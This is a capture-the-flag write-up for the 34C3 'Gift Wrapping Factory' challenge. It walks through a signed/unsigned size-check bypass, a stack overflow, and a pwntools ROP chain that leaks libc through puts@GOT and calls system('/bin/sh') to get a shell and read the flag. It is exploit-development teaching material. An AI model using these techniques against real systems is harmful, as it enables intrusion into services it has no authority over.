In this challenge, we are given a service IP and PORT, to which we can connect using netcat
or any similar tool. We are also provided with a tar
file that contains the service binary and some .so
modules.
The task description is the following:
Wrapping gifts is now even more fun! Gift Wrapping Factory 2.0:
nc 35.198.185.193 1341
After extracting the tar
file we get this:
$ ls -la
total 3928
drwxr-xr-x 9 segflow staff 288 Jan 21 09:34 .
drwxr-xr-x 8 segflow staff 256 Jan 3 13:52 ..
-rwxr-xr-x 1 segflow staff 8120 Dec 27 21:22 giftwrapper2.so
-rwxr-xr-x 1 segflow staff 1960656 Oct 11 21:21 libc-2.26.so
-rwxr-xr-x 1 segflow staff 14456 Dec 27 21:22 server
-rw-r--r-- 1 segflow staff 6024 Dec 27 19:13 server.c
server
is the challenge binary, server.c
is its code. libc-2.26.so
is the libc library used by the server.
Before understanding the code or the purpose of giftwrapper2.so
file, let’s try to interact with the service to get an overall understanding of what it’s doing. Since the CTF server went down after the competition, we will run the server locally and interact with it.
$ nc localhost 12345
*
* Gift Wrapping Factory
*
Welcome to the new gift wrapping service!
Type "help" for help :)
> help
wrap (Wrap a gift)
help (Show this information)
modinfo (Show information about the loaded module)
>
A menu is shown, and we can print the help
message, wrap
a gift and print some info using the modinfo
command.
> help
wrap (Wrap a gift)
help (Show this information)
modinfo (Show information about the loaded module)
> modinfo
************************************
Information about the loaded module:
Name: Gift Wrapping Factory
Base address: 0x7f770a712000
************************************
> wrap
What is the size of the gift you want to wrap?
|> 10
Please send me your gift.
|> TEST GIFT
_ _
((\o/))
.-------//^\\------.
| /` `\ |
| |
| TEST GIFT |
| |
------------------
Wow! This looks so beautiful
>
The modinfo
command prints some info about the loaded module and its base address. Probably this is about the giftwrapper2.so
found in the challenge files.
The wrap
command asks about the size of the gift and the gift text after that a nice ascii art is shown containing the gift message.
Since the gift message is printed back to us, I thought it will be a good idea to test if there is a format string
vulnerability. Turns out there wasn’t.
> wrap
What is the size of the gift you want to wrap?
|> 10
Please send me your gift.
|> %d
_ _
((\o/))
.-------//^\\------.
| /` `\ |
| |
| %d |
| |
------------------
Wow! This looks so beautiful
>
Now let’s see what happen if the gift message is longer then the size we typed.
> wrap
What is the size of the gift you want to wrap?
|> 2
Please send me your gift.
|> ABCDEFGHIJKLM
_ _
((\o/))
.-------//^\\------.
| /` `\ |
| |
| ABC |
| |
------------------
Wow! This looks so beautiful
> wrap
What is the size of the gift you want to wrap?
|> 10000
Sorry! This gift is too large.
>
Humm it gets truncated, we are also not allowed to have a very big gift message. So probably the size field is controlled (is it?).
Now that we understand what the server is doing, let’s check the source file.
The server code found in server.c
is very straightforward,
- Setup a socket
- Load the
giftwrapper2.so
module - Enter the regular
accept -> fork -> drop_priv -> interact
loop
The interact
function securely reads data from the user, and then calls handle_input
which executes the corresponding command based on the user input.
The load_module
function is as follow:
void load_module() {
char* error;
void* handle = dlopen(LIB, RTLD_LAZY);
if (!handle) {
logf("Error on dlopen %s: %s\n", LIB, dlerror());
exit(EXIT_FAILURE);
}
dlerror();
struct link_map* lm = (struct link_map*) handle;
module.base = lm->l_addr;
initialize_module = dlsym(handle, "initialize_module");
printf("%p\n", initialize_module);
if ((error = dlerror()) != NULL) {
logf("%s\n", error);
exit(1);
}
initialize_module(&module, register_command);
register_command("help", "\t\t\t", "Show this information", help);
register_command("modinfo", "\t\t", "Show information about the loaded module", module_info);
logf("Module successfully loaded.\n");
}
Mainly it loads the giftwrapper2.so
module, calls initialize_module
within that module and pass the register_command
as its second argument. After that, it registers two commands help
and modinfo
.
So probably the wrap
command is registered by the module itself.
Now it’s time to reverse engineer the giftwrapper2.so
module and hopefully find a flaw there. For this task, I used Binary Ninja, the symbols were not stripped so it’s easy to spot the wrap
function and disassemble it.
The logic behind this function is the following:
- Read the size from the user and store it into a buffer
- If the read fails -> exit
- Call
strtol
to convert the size into a number.- If the size is above 99 -> print an error message and exit the function
- Else, use the
read
function and pass the size as its argument in order to read up tosize
bytes.
Even though it sounds secure, it’s not. The flaw is within this block, can you spot it?
0x855: lea rdi, rsp + 0x65
0x85a: mov edx, 0
0x85f: mov esi, 0
0x864: call strtol ; convert size to long
0x869: mov rbp, rax
0x86c: cmp ax, 0x63 ; compare size with 0x63 (99 in decimal)
0x870: jg 0x94c ; jump to 0x94c if greater
The conditional jump is done using the jg
instruction which is used for signed comparison. Check this nice page to better understand x86-jumps. But the read
function interprets its argument as an unsigned integer, which means if, when prompted for the size, we type -1
(0xffffffff in hex) we can bypass the check against 0x63. This is possible because 0xffffffff < 0x63 when they are interpreted as signed numbers.
Later when we reach the read
function, 0xffffffff is interpreted as an unsigned number so it’s possible to read up to 4GB
of data.
Using this we probably can write over the buffer boundaries and occur an overflow. To verify this hypothesis let’s try to crash the binary.
$ nc 0 12345
*
* Gift Wrapping Factory
*
Welcome to the new gift wrapping service!
Type "help" for help :)
> wrap
What is the size of the gift you want to wrap?
|> -1
Please send me your gift.
|> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
_ _
((\o/))
.-------//^\\------.
| /` `\ |
| |
| |
------------------
Wow! This looks so beautiful
$
Great instead of printing the prompt again, the connection immediately exit after printing the ascii art, this means we probably did overwrite the return address stored in the stack, thus crashing the binary.
Using rabin2
from the radare2 suite, we can get some info from the binary:
$ rabin2 -I server
arch x86
binsz 12597
bintype elf
bits 64
canary false
class ELF64
crypto false
endian little
havecode true
intrp /lib64/ld-linux-x86-64.so.2
lang c
linenum true
lsyms true
machine AMD x86-64 architecture
maxopsz 16
minopsz 1
nx true
os linux
pcalign 0
pic false
relocs true
relro partial
rpath NONE
static false
stripped false
subsys linux
va true
$
Great no stack canary, but the stack is not executable (NX Bit enabled).
The next step is to know from what offset we start controlling the instruction pointer rip, we can do this manually by trying different lengths, but we can also use ragg2
to generate a Debruijn sequence and calculate the exact offset after the crash.
The size of wrap’s stack frame is 0x70 (112 in decimal), so let’s generate a sequence slightly greater than 112
$ ragg2 -r -P 140
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuA
$
Now we can either attach the server to a debugger, configure it to follow child process, and wait for it to crash so we can get the value of rip
register and calculate the offset, or simply use the dmesg
command to print info about the last crashes happened in our system. Since I’m lazy, I went for the second approach.
$ nc 0 12345
*
* Gift Wrapping Factory
*
Welcome to the new gift wrapping service!
Type "help" for help :)
> -1
Command not found.
> wrap
What is the size of the gift you want to wrap?
|> -1
Please send me your gift.
|> AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2
_ _
((\o/))
.-------//^\\------.
| /` `\ |
| |
| |
------------------
Wow! This looks so beautiful
$ sudo dmesg | tail
[ 6285.218361] clocksource: Switched to clocksource hpet
[13404.975546] server[2981]: segfault at 41754141 ip `0000000041754141` sp 00007fff8cbed360 error 14 in libnss_files-2.25.so[7f7709ed4000+b000]
$
Great, at the moment of the crash, the instruction pointer was pointing to 0x41754141. Again using ragg2
we can calculate the offset.
$ ragg2 -q 0x41754141
Little endian: 136
Big endian: 137
$
From rabin2
output, we already know that the binary’s endianess is Little Endian, so the offset value is 136.
At this step we know that we control the instruction pointer, we also know that the stack is not executable. One way to exploit this is to return to libc, but since we don’t know at what address libc
is mapped in the virtual memory, we need to leak some addresses.
Using ROP we can read data from anywhere, this is done because the function puts
actually prints bytes from the address pointed by the rdi
register. So by chaining
pop rdi
and call puts
gadgets we can mount a read-anywhere attack. In order to calculate libc
base address, we need to read the address of any symbol from it. Reading any symbol from the GOT table allows us to leak addresses from libc
, one good candidate is puts
entry in GOT
, to get its address we can use objdump -R
:
$ objdump -R server
server: file format elf64-x86-64
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
...
0x00000000602018 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5
...
$
Now we only need a pop rdi
gadget. By using radare2
we can get that, below we see that radare2 found two pop rdi
gadgets:
$ radare2 server
[0x00400dc0]> /Rl pop rdi
0x00401550: pop rdi; ret;
0x004015c3: pop rdi; ret;
[0x00400dc0]>
The following python code connects to the server, interact with it and then send our rop chain. I’m using Pwntools to do this since it makes network programming much more easy and funny.
from pwn import *
r = remote('localhost', 12345)
pop_rdi = 0x00401550
puts_got = 0x602018
call_puts = 0x0040122f
rop = p64(pop_rdi)
rop += p64(puts_got)
rop += p64(call_puts)
payload = "A" * 136 # fill the buffer
payload += rop # Append our rop chain
r.sendlineafter("> ", "wrap") # Send the wrap command
r.sendlineafter("|> ", "-1") # set the size to -1
r.sendlineafter("|> ", payload) # send the payload
# Get the last sent line, this contains raw data read from *puts_got
r.recvuntil("Wow! This looks so beautiful\n") # recv the data
data = r.recvline().strip()
print(repr(data)) # print raw data so we can verify
# Pad the address to 8 bytes so we can unpack it
pad = "\x00" * (8 - len(data))
addr = data + pad
# Unpack the addr
puts_absolute = u64(addr)
print "puts is at", hex(puts_absolute)
$ python giftwrapper2_exploit.py
[..] Opening connection to localhost on port 12345: Trying 127.0.0.1
New connection from 127.0.0.1 on port 40450
[+] Opening connection to localhost on port 12345: Done
127.0.0.1:40450 disconnected
'`\xc4\x07\xa0\xeb\x7f'
puts is at 0x7feba007c460
Now we know that the absolute address of puts
is 0x7feba007c460, and since we have the libc used by the server we can know puts’ offset within that libc, we just need to open libc-2.26.so
using binary ninja (or radare2 and use the is
command) and navigate to puts
function:
Here it shows that puts’ offset within libc is 0x78460, given this, we can calculate libc base address.
libc_base = puts absolute address - puts relative offset
libc_base = 0x7feba007c460 - 0x78460 = 0x7feba0004000
By having the libc base address we can get the absolute address of any other symbol within it, so now we just need to call system("/bin/sh")
and have our flag.
Again using binary ninja we can get the offset of system
as well as the string /bin/sh
.
Argument for system
are passed via the rdi
register, so just before jumping into it we need to load rdi with the address of /bin/sh
.
We already have a pop rdi
gadget so this should be easy now. The final exploit is the following:
> $ python giftwrapper2_exploit.py
[/.......] Opening connection to localhost on port 12345: Trying 127.0.0.1
New connection from 127.0.0.1 on port 40450
[+] Opening connection to localhost on port 12345: Done
127.0.0.1:40450 disconnected
'`\xc4\x07\xa0\xeb\x7f'
puts is at 0x7feba007c460
libc is at 0x7feba0004000
system is at 0x7feba0052d60
/bin/sh is at 0x7feba017a917
[*] Closed connection to localhost port 12345
[▁] Opening connection to localhost on port 12345: Trying 127.0.0.1
New connection from 127.0.0.1 on port 40452
[+] Opening connection to localhost on port 12345: Done
[*] Switching to interactive mode
_ _
((\o/))
.-------//^\\------.
| /` `\ |
| |
| |
------------------
Wow! This looks so beautiful
$ id
uid=1001(challenge) gid=1001(challenge) groups=1001(challenge)
$ cat flag.txt
34C3_r0p_wr4pP3d_g1fts_ar3_tH3_b3st_g1fts
$
Flag: 34C3_r0p_wr4pP3d_g1fts_ar3_tH3_b3st_g1fts